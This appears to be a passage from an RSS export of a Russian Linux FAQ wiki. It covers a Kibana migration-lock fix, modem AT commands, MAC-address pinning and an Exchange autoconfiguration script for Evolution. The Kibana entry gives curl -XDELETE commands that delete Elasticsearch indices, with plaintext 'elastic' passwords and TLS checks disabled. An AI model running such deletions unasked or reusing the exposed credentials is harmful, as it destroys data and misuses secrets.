{&amp;quot;type&amp;quot;:&amp;quot;log&amp;quot;,&amp;quot;@timestamp&amp;quot;:&amp;quot;2020-05-22T09:21:35Z&amp;quot;,&amp;quot;tags&amp;quot;:[&amp;quot;warning&amp;quot;,&amp;quot;savedobjects-service&amp;quot;],&amp;quot;pid&amp;quot;:6,&amp;quot;message&amp;quot;:&amp;quot;Unable to connect to Elasticsearch. Error: [resource_already_exists_exception] index [.kibana_task_manager_1/57SevyHNSW2u0pDBMxS6rg] already exists, with { index_uuid=\&amp;quot;57SevyHNSW2u0pDBMxS6rg\&amp;quot; &amp;amp; index=\&amp;quot;.kibana_task_manager_1\&amp;quot; }&amp;quot;}
{&amp;quot;type&amp;quot;:&amp;quot;log&amp;quot;,&amp;quot;@timestamp&amp;quot;:&amp;quot;2020-05-22T09:21:35Z&amp;quot;,&amp;quot;tags&amp;quot;:[&amp;quot;warning&amp;quot;,&amp;quot;savedobjects-service&amp;quot;],&amp;quot;pid&amp;quot;:6,&amp;quot;message&amp;quot;:&amp;quot;Another Kibana instance appears to be migrating the index. Waiting for that migration to complete. If no other Kibana instance is attempting migrations, you can get past this message by deleting index .kibana_task_manager_1 and restarting Kibana.&amp;quot;}&lt;/pre&gt;

&lt;p&gt;
Нужно удалить индексы:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kubectl exec elasticsearch-kb-74b55648bb-l5pf8 -- curl -k -u elastic:AG7dGmsZp2NDpRED -XDELETE http://elasticsearch-openresty-oidc-http.default.svc.cluster.local:9200/.kibana_1&lt;/pre&gt;

&lt;p&gt;
или в более новых версиях:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;kubectl exec -it -n elk elastic-kb-84dddb9b5-k4kwg -- curl -k -u elastic:MWtBKGDF2qnKr889 -XDELETE https://elastic-es-http.elk.svc.cluster.local:9200/.kibana_task_manager_1&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Kibana Error&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;kibana_error&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:9,&amp;quot;secid&amp;quot;:17,&amp;quot;range&amp;quot;:&amp;quot;10212-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 02 Mar 2026 13:32:04 +0000</pubDate>
        </item>
        <item>
            <title>es75it</title>
            <link>https://wiki.autosys.tk/linux_faq/es75it</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;es75it&quot;&gt;ES75iT&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
&lt;a href=&quot;https://www.vcdx200.com/2014/01/gsmgprs-modem-siemens-es75-usefull-at.html&quot; class=&quot;urlextern&quot; title=&quot;https://www.vcdx200.com/2014/01/gsmgprs-modem-siemens-es75-usefull-at.html&quot; rel=&quot;ugc nofollow&quot;&gt;https://www.vcdx200.com/2014/01/gsmgprs-modem-siemens-es75-usefull-at.html&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;ES75iT&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;es75it&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-100&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit2&quot; id=&quot;проверяем_что_pin_введен_и_симка_разблокирована&quot;&gt;Проверяем, что PIN введен и симка разблокирована&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;AT+CPIN=?&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c, \u0447\u0442\u043e PIN \u0432\u0432\u0435\u0434\u0435\u043d \u0438 \u0441\u0438\u043c\u043a\u0430 \u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c_\u0447\u0442\u043e_pin_\u0432\u0432\u0435\u0434\u0435\u043d_\u0438_\u0441\u0438\u043c\u043a\u0430_\u0440\u0430\u0437\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;101-211&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit3&quot; id=&quot;включаем_вывод_номера_звонившего&quot;&gt;Включаем вывод номера звонившего&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;AT+CLIP=1&lt;/pre&gt;

&lt;p&gt;
в результате - при входящем звонке в консоли такое:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;RING
+CLIP: &amp;quot;+79778879623&amp;quot;,145,,,,0&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0412\u043a\u043b\u044e\u0447\u0430\u0435\u043c \u0432\u044b\u0432\u043e\u0434 \u043d\u043e\u043c\u0435\u0440\u0430 \u0437\u0432\u043e\u043d\u0438\u0432\u0448\u0435\u0433\u043e&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0432\u043a\u043b\u044e\u0447\u0430\u0435\u043c_\u0432\u044b\u0432\u043e\u0434_\u043d\u043e\u043c\u0435\u0440\u0430_\u0437\u0432\u043e\u043d\u0438\u0432\u0448\u0435\u0433\u043e&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;212-430&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit4&quot; id=&quot;звонок&quot;&gt;Звонок&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;
&lt;pre class=&quot;code&quot;&gt;AT+CREG=1;
AT+CREG=2;
ATD89778879623;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0417\u0432\u043e\u043d\u043e\u043a&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0437\u0432\u043e\u043d\u043e\u043a&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;431-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 04 Oct 2021 09:47:09 +0000</pubDate>
        </item>
        <item>
            <title>ethernet_connection_random_mac_on_every_boot</title>
            <link>https://wiki.autosys.tk/linux_faq/ethernet_connection_random_mac_on_every_boot</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;проблема&quot;&gt;Проблема&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Система - Ubuntu 18.04 (Armbian). &lt;br/&gt;

На одном из сетевых адаптеров при каждой загрузке новый MAC-адрес. &lt;br/&gt;

Оказалось неважно как настроена система - с помощью стандартных настроек из &lt;strong&gt;/etc/network/&lt;/strong&gt; и в случае когда сеть настроена с помощью &lt;strong&gt;Network Manager&lt;/strong&gt;. &lt;br/&gt;

В случае, когда используется &lt;strong&gt;Network Manager&lt;/strong&gt; - для одного из сетевых адаптеров при каждой загрузке создается новое подключение, с новым произвольным &lt;strong&gt;MAC&lt;/strong&gt;-адресом. Я хочу использовать этот интерфейс для подключения к сети провайдера, поэтому изменеие MAC-адреса при каждой перезагрузке недопустимо. &lt;br/&gt;

Так как в &lt;strong&gt;Network Manager&lt;/strong&gt; при каждой загрузке создается новое подключение - установка параметра &lt;strong&gt;802-3-ethernet.cloned-mac-address&lt;/strong&gt; результата не дает. &lt;br/&gt;

Никаких правил рандомизации MAC-адреса для проблемного интерфейса не задано.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-1378&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;причины&quot;&gt;Причины&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Причинами такого поведения могут быть:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 настройки NetworkManager, который может обновлять MAC-адрес устройства при кадом новом подключении.
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 Настройки демона avahi (avahi-autoipd)
&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 настройки устройства в правилах udev
&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;
&lt;a href=&quot;https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=755202&quot; class=&quot;urlextern&quot; title=&quot;https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=755202&quot; rel=&quot;ugc nofollow&quot;&gt;https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=755202&lt;/a&gt; &lt;br/&gt;

&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;/etc/udev/rules.d/70-persisetn-net.rules
SUBSYSTEM==&amp;quot;net&amp;quot;, ACTION==&amp;quot;add&amp;quot;, DRIVERS==&amp;quot;?*&amp;quot;,ATTR{address}==&amp;quot;00:00:00:00:00:00&amp;quot;,ATTR{dev_id}==&amp;quot;0x0&amp;quot;, ATTR{type}==&amp;quot;1&amp;quot;,KERNEL==&amp;quot;eth1&amp;quot;, NAME=&amp;quot;wan0&amp;quot;&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u041f\u0440\u0438\u0447\u0438\u043d\u044b&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u043f\u0440\u0438\u0447\u0438\u043d\u044b&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;1379-2036&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;решение&quot;&gt;Решение&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Я не смог найти точной причины происходящего - возможно дело в самом драйвере устройства. &lt;br/&gt;

Решить можно несколькими способами. Все они так или иначе сводятся к принудительной установке нужного адреса.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0420\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0440\u0435\u0448\u0435\u043d\u0438\u0435&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:3,&amp;quot;range&amp;quot;:&amp;quot;2037-2435&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit4&quot; id=&quot;networkmanager&quot;&gt;NetworkManager&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Если сеть настраиваем с помощью &lt;strong&gt;NetworkManager&lt;/strong&gt;, то нужно создать файл скрипта &lt;strong&gt;/etc/NetworkManager/dispatcher.d/pre-up.d/wanmac&lt;/strong&gt;: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/sh

/bin/ip link set dev eth1 address C4:6E:1F:FD:D9:82&lt;/pre&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;NetworkManager&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;networkmanager&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:4,&amp;quot;range&amp;quot;:&amp;quot;2436-2720&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit5&quot; id=&quot;etcnetwork&quot;&gt;/etc/network/&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
Если настройки сети в &lt;strong&gt;/etc/network/&lt;/strong&gt;, то можно выбрать один из вариантов:
&lt;/p&gt;
&lt;ul&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 тот же скрипт в &lt;strong&gt;/etc/network/if-pre-up.d/&lt;/strong&gt; &lt;br/&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 в файле &lt;strong&gt;/etc/network/interfaces&lt;/strong&gt; прописываем&lt;pre class=&quot;code&quot;&gt;pre-up ifconfig &amp;lt;interface&amp;gt; hw ether xx:xx:xx:yy:yy:yy&lt;/pre&gt;

&lt;p&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;li class=&quot;level1&quot;&gt;&lt;div class=&quot;li&quot;&gt;
 в файле &lt;strong&gt;/etc/network/interfaces&lt;/strong&gt; прописываем: 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;allow-hotplug eth1
iface eth0 inet dhcp
  hwaddress ether 08:00:00:00:00:01&lt;/pre&gt;

&lt;/div&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\/etc\/network\/&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;etcnetwork&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:5,&amp;quot;range&amp;quot;:&amp;quot;2721-3232&amp;quot;} --&gt;
&lt;h2 class=&quot;sectionedit6&quot; id=&quot;networkmanager1&quot;&gt;NetworkManager&lt;/h2&gt;
&lt;div class=&quot;level2&quot;&gt;

&lt;p&gt;
При использовании NetworkManager
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;NetworkManager&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;networkmanager1&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:2,&amp;quot;secid&amp;quot;:6,&amp;quot;range&amp;quot;:&amp;quot;3233-&amp;quot;} --&gt;</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Sat, 23 May 2020 22:15:06 +0000</pubDate>
        </item>
        <item>
            <title>evolution_is_currently_offline_due_to_a_network_outage</title>
            <link>https://wiki.autosys.tk/linux_faq/evolution_is_currently_offline_due_to_a_network_outage</link>
            <description>
&lt;p&gt;
Если почтовый клиент evolution отказывается работать, ссылаясь на недоступную сеть - &lt;strong&gt;Evolution is currently offline due to a network outage&lt;/strong&gt;, то просто нужно добавить переменную среды 
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;GIO_USE_NETWORK_MONITOR=base&lt;/pre&gt;

&lt;p&gt;
В KDE эту переменную можно прописать в файлик &lt;strong&gt;~/.config/plasma-workspace/env/evolution.sh&lt;/strong&gt;:
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#!/bin/bash
export GIO_USE_NETWORK_MONITOR=base&lt;/pre&gt;
</description>
            <author>anonymous@undisclosed.example.com (Anonymous)</author>
            <pubDate>Mon, 11 Feb 2019 09:13:26 +0000</pubDate>
        </item>
        <item>
            <title>evolution_preconfigure</title>
            <link>https://wiki.autosys.tk/linux_faq/evolution_preconfigure</link>
            <description>
&lt;h1 class=&quot;sectionedit1&quot; id=&quot;автоматическая_конфигурация_evolution_для_работы_с_exchange&quot;&gt;Автоматическая конфигурация Evolution для работы с exchange&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Понадобилось сконфигурировать почтовый клиент &lt;strong&gt;evolution&lt;/strong&gt; для того, чтобы он работал как &lt;strong&gt;MS outlook&lt;/strong&gt; - при первом входе пользователя конфигурировался автоматически, на базе данных из &lt;strong&gt;AD&lt;/strong&gt; и сервиса &lt;strong&gt;Autodiscovery EWS&lt;/strong&gt;.
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;\u0410\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f Evolution \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0441 exchange&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;\u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f_\u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f_evolution_\u0434\u043b\u044f_\u0440\u0430\u0431\u043e\u0442\u044b_\u0441_exchange&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:1,&amp;quot;range&amp;quot;:&amp;quot;1-482&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit2&quot; id=&quot;evolution_в_gnome&quot;&gt;Evolution в Gnome&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
Вот вариант для &lt;strong&gt;Gnome&lt;/strong&gt;. &lt;br/&gt;

В двух словах - с помощью &lt;strong&gt;gconftool-2&lt;/strong&gt; можно выгрузить текущую конфигурацию &lt;strong&gt;evolution&lt;/strong&gt;. &lt;br/&gt;

Скорректировать ее для нового пользователя и залить в профиль. &lt;br/&gt;

&lt;a href=&quot;https://wiki.gnome.org/Apps/Evolution/GConfTools&quot; class=&quot;urlextern&quot; title=&quot;https://wiki.gnome.org/Apps/Evolution/GConfTools&quot; rel=&quot;ugc nofollow&quot;&gt;https://wiki.gnome.org/Apps/Evolution/GConfTools&lt;/a&gt;
&lt;/p&gt;

&lt;/div&gt;
&lt;!-- EDIT{&amp;quot;target&amp;quot;:&amp;quot;section&amp;quot;,&amp;quot;name&amp;quot;:&amp;quot;Evolution \u0432 Gnome&amp;quot;,&amp;quot;hid&amp;quot;:&amp;quot;evolution_\u0432_gnome&amp;quot;,&amp;quot;codeblockOffset&amp;quot;:0,&amp;quot;secid&amp;quot;:2,&amp;quot;range&amp;quot;:&amp;quot;483-876&amp;quot;} --&gt;
&lt;h1 class=&quot;sectionedit3&quot; id=&quot;evolution_в_kde&quot;&gt;Evolution в KDE&lt;/h1&gt;
&lt;div class=&quot;level1&quot;&gt;

&lt;p&gt;
В &lt;strong&gt;KDE&lt;/strong&gt; нужно создать файлики &lt;strong&gt;evolution source&lt;/strong&gt; (&lt;strong&gt;~/.config/evolution/source&lt;/strong&gt;), в которых лежит описание почтовой конфигурации. &lt;br/&gt;

&lt;a href=&quot;https://wiki.gnome.org/Apps/Evolution/ESourceFileFormat&quot; class=&quot;urlextern&quot; title=&quot;https://wiki.gnome.org/Apps/Evolution/ESourceFileFormat&quot; rel=&quot;ugc nofollow&quot;&gt;https://wiki.gnome.org/Apps/Evolution/ESourceFileFormat&lt;/a&gt; &lt;br/&gt;

Вот скрипт, который берет из &lt;strong&gt;AD&lt;/strong&gt; аттрибут пользователя &lt;strong&gt;mail&lt;/strong&gt;, выполняет &lt;strong&gt;autodiscovery&lt;/strong&gt; и заполняет файлики &lt;strong&gt;evolution source&lt;/strong&gt;. &lt;br/&gt;

Также скрипт автоматически создает подпись, в которой можно использовать аттрибуты AD. 
Этот скрипт можно поместить в автозагрузку в дефолтный профиль (например в директорию &lt;strong&gt;/etc/skel/.kde/Autostart&lt;/strong&gt; ) и тогда &lt;strong&gt;evolution&lt;/strong&gt; будет автоматически конфигурировать почту на базе данных из &lt;strong&gt;AD&lt;/strong&gt;, совсем как &lt;strong&gt;Outlook&lt;/strong&gt;. &lt;br/&gt;

Для работы скрипта необходимо, чтобы системы была корректно введена домен с помощью &lt;strong&gt;samba+winbind&lt;/strong&gt;. Этот скрипт создавался как часть скрипта, конфигурирующего систему на базе &lt;strong&gt;Ubuntu&lt;/strong&gt; для работы в домене - &lt;a href=&quot;https://wiki.autosys.tk/linux_faq/ubuntu_setup_script&quot; class=&quot;wikilink1&quot; title=&quot;linux_faq:ubuntu_setup_script&quot; data-wiki-id=&quot;linux_faq:ubuntu_setup_script&quot;&gt;Ubuntu Setup Script&lt;/a&gt;
&lt;/p&gt;
&lt;pre class=&quot;code&quot;&gt;#! /bin/bash

export GIO_USE_NETWORK_MONITOR=base
DOMAINNAME=`hostname -d`
########################################################################
### Check if Evolution EWS source files already exist. If exist - exit 0
#######################################################################
for f in ~/.config/evolution/sources/*$HOSTNAME.source; do [ -e &amp;quot;$f&amp;quot; ] &amp;amp;&amp;amp; exit 0 ; break; done

##########################################
## Check if connected to AD
##########################################
if ! wbinfo -P; then
echo &amp;quot;NETLOGON test failed&amp;quot; &amp;gt;&amp;gt; ~/.ews_setup.log
else
echo &amp;quot;NETLOGON test OK&amp;quot; &amp;gt;&amp;gt; ~/.ews_setup.log

CURRENT_DC=`wbinfo -P | awk &amp;#039;{print $9}&amp;#039; | awk -F &amp;quot;\&amp;quot;&amp;quot; &amp;#039;{print $2}&amp;#039;`
BASEDN=`echo $CURRENT_DC | sed s/^[^.]*.//g | sed s/&amp;quot;\.&amp;quot;/,dc=/g | sed s/^/dc=/`
FULL_NAME=`ldapsearch -h $CURRENT_DC -b &amp;quot;$BASEDN&amp;quot; &amp;quot;sAMAccountName=$USER&amp;quot; | grep displayName: | awk &amp;#039;{print $2 }&amp;#039; | base64 -d`
MAIL=`ldapsearch -h $CURRENT_DC -b &amp;quot;$BASEDN&amp;quot; &amp;quot;sAMAccountName=$USER&amp;quot; | grep mail: | awk &amp;#039;{print $2 }&amp;#039;`
NAME_PREFIX=`date +%s.%N | cut -c 1-16`

###############################################################################################
### MS Exchange autodiscovery
#### https://github.com/sys4/automx/blob/master/src/automx-test
#### http://stackoverflow.com/questions/38509837/when-using-negotiate-with-curl-is-a-keytab-file-required
#### Joined AD with samba/winbind and have package gss-ntlmssp
###############################################################################################
AUTOD_URL=&amp;quot;https://autodiscover.`echo $MAIL | sed &amp;#039;s/^.*@//&amp;#039;`&amp;quot;/autodiscover/autodiscover.xml
REQUEST=$(cat &amp;lt;&amp;lt;EOF
&amp;lt;Autodiscover xmlns=&amp;quot;http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006&amp;quot;&amp;gt;
&amp;lt;Request&amp;gt;
&amp;lt;EMailAddress&amp;gt;$MAIL&amp;lt;/EMailAddress&amp;gt;
&amp;lt;AcceptableResponseSchema&amp;gt;http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a&amp;lt;/AcceptableResponseSchema&amp;gt;
&amp;lt;/Request&amp;gt;
&amp;lt;/Autodiscover&amp;gt;
EOF
)

bash -c &amp;quot;curl -k -d &amp;#039;$REQUEST&amp;#039; --header \&amp;quot;Content-Type: text/xml\&amp;quot; -s --negotiate -u : $AUTOD_URL&amp;quot; &amp;gt; ~/.autodiscover.xml

#bash -c &amp;quot;curl -v -k -d &amp;#039;$REQUEST&amp;#039; --header \&amp;quot;Content-Type: text/xml\&amp;quot; --ntlm --user username:userpassword $AUTOD_URL&amp;quot; &amp;gt; ~/.autodiscover.xml

OABUrl=$(cat ~/.autodiscover.xml | grep -m 1 OABUrl | awk -F &amp;#039;[&amp;lt;&amp;gt;]&amp;#039; &amp;#039;{ print $3 }&amp;#039;)oab.xml
EwsUrl=$(cat ~/.autodiscover.xml | grep -m 1 EwsUrl | awk -F &amp;#039;[&amp;lt;&amp;gt;]&amp;#039; &amp;#039;{ print $3 }&amp;#039;)
EwsHost=$(echo $EwsUrl | awk -F &amp;#039;/&amp;#039; &amp;#039;{ print $3 }&amp;#039;)
rm ~/.autodiscover.xml

echo CURRENT_DC - $CURRENT_DC &amp;gt; ~/.ews_setup.log
echo FULL_NAME - $FULL_NAME &amp;gt;&amp;gt; ~/.ews_setup.log
echo BASEDN - $BASEDN &amp;gt;&amp;gt; ~/.ews_setup.log
echo MAIL - $MAIL &amp;gt;&amp;gt; ~/.ews_setup.log
echo DOMAINNAME - $DOMAINNAME &amp;gt;&amp;gt; ~/.ews_setup.log
echo OABUrl - $OABUrl &amp;gt;&amp;gt; ~/.ews_setup.log
echo EwsUrl - $EwsUrl &amp;gt;&amp;gt; ~/.ews_setup.log
echo EwsHost - $EwsHost &amp;gt;&amp;gt; ~/.ews_setup.log
################################################################
### Check URLs format
################################################################
echo $OABUrl | grep -E &amp;#039;(https|http)://(([[:alnum:]]|-|_|\.|~|!|\*|;|:|@|&amp;amp;|=|+|$|,|/|\?|%|#|\[|\]])*/(oab|OAB)([[:alnum:]]|-|_|\.|~|!|\*|;|:|@|&amp;amp;|=|+|$|,|/|\?|%|#|\[|\]])*/oab.xml)&amp;#039;
OAB_URL_Check=$?
echo $EwsUrl | grep -E &amp;#039;(https|http)://(([[:alnum:]]|-|_|\.|~|!|\*|;|:|@|&amp;amp;|=|+|$|,|/|\?|%|#|\[|\]])*/(ews|EWS)([[:alnum:]]|-|_|\.|~|!|\*|;|:|@|&amp;amp;|=|+|$|,|/|\?|%|#|\[|\]])*/exchange.asmx)&amp;#039;
EWS_URL_Check=$?

if [ $OAB_URL_Check != 0 ] || [ $EWS_URL_Check != 0 ]; then
echo &amp;quot;OAB and EWS URLs check failed... Exit...&amp;quot; &amp;gt;&amp;gt; ~/.ews_setup.log
else
echo &amp;quot;OAB and EWS URLs check OK&amp;quot; &amp;gt;&amp;gt; ~/.ews_setup.log

######################################################################
### CleaningUp and creating evolution source files
######################################################################
killall evolution-source-registry
rm -Rf ~/.config/evolution/sources
mkdir --parents ~/.config/evolution/sources

#####################################################################################
cat &amp;lt;&amp;lt;EOF &amp;gt; ~/.config/evolution/sources/$NAME_PREFIX.1@$HOSTNAME.source
[Data Source]
DisplayName=$MAIL
Enabled=true
Parent=

[Offline]
StaySynchronized=true

[Authentication]
Host=$EwsHost
Method=GSSAPI
Port=443
ProxyUid=system-proxy
RememberPassword=true
User=$USER
CredentialName=

[Collection]
BackendName=ews
CalendarEnabled=true
ContactsEnabled=true
Identity=$USER
MailEnabled=true

[Security]
Method=none

[Ews Backend]
FilterInbox=true
StoreChangesInterval=3
CheckAll=true
ListenNotifications=true
Email=$MAIL
FilterJunk=true
FilterJunkInbox=false
FoldersInitialized=true
GalUid=$NAME_PREFIX.0@$HOSTNAME
Hosturl=$EwsUrl
Oaburl=$OABUrl
OabOffline=true
OalSelected=
Timeout=300
UseImpersonation=false
ImpersonateUser=
EOF

######################################################################
cat &amp;lt;&amp;lt;EOF &amp;gt; ~/.config/evolution/sources/$NAME_PREFIX.0@$HOSTNAME.source
[Data Source]
DisplayName=$MAIL
Enabled=true
Parent=$NAME_PREFIX.1@$HOSTNAME

[Mail Composition]
Bcc=
Cc=
DraftsFolder=folder://$NAME_PREFIX.3%40$HOSTNAME/%d0%a7%d0%b5%d1%80%d0%bd%d0%be%d0%b2%d0%b8%d0%ba%d0%b8
SignImip=true
TemplatesFolder=folder://local/Templates

[Mail Identity]
Address=$MAIL
Name=$FULL_NAME
Organization=
ReplyTo=
SignatureUid=$NAME_PREFIX.33@$HOSTNAME

[Mail Submission]
SentFolder=folder://$NAME_PREFIX.3%40$HOSTNAME/%d0%9e%d1%82%d0%bf%d1%80%d0%b0%d0%b2%d0%bb%d0%b5%d0%bd%d0%bd%d1%8b%d0%b5
TransportUid=$NAME_PREFIX.13@$HOSTNAME
RepliesToOriginFolder=false
EOF

######################################################################
cat &amp;lt;&amp;lt;EOF &amp;gt; ~/.config/evolution/sources/$NAME_PREFIX.3@$HOSTNAME.source
[Data Source]
DisplayName=$MAIL
Enabled=true
Parent=$NAME_PREFIX.1@$HOSTNAME

[Refresh]
Enabled=true
IntervalMinutes=3

[Mail Account]
BackendName=ews
IdentityUid=$NAME_PREFIX.0@$HOSTNAME
ArchiveFolder=
EOF

###############################################################################
cat &amp;lt;&amp;lt;EOF &amp;gt; ~/.config/evolution/sources/$NAME_PREFIX.13@$HOSTNAME.source
[Data Source]
DisplayName=$MAIL
Enabled=true
Parent=$NAME_PREFIX.1@$HOSTNAME

[Mail Transport]
BackendName=ews
EOF

################################################################################
cat &amp;lt;&amp;lt;EOF &amp;gt; ~/.config/evolution/sources/local.source
# Special built-in mail store.
[Data Source]
DisplayName=On This Computer
Enabled=false
Parent=

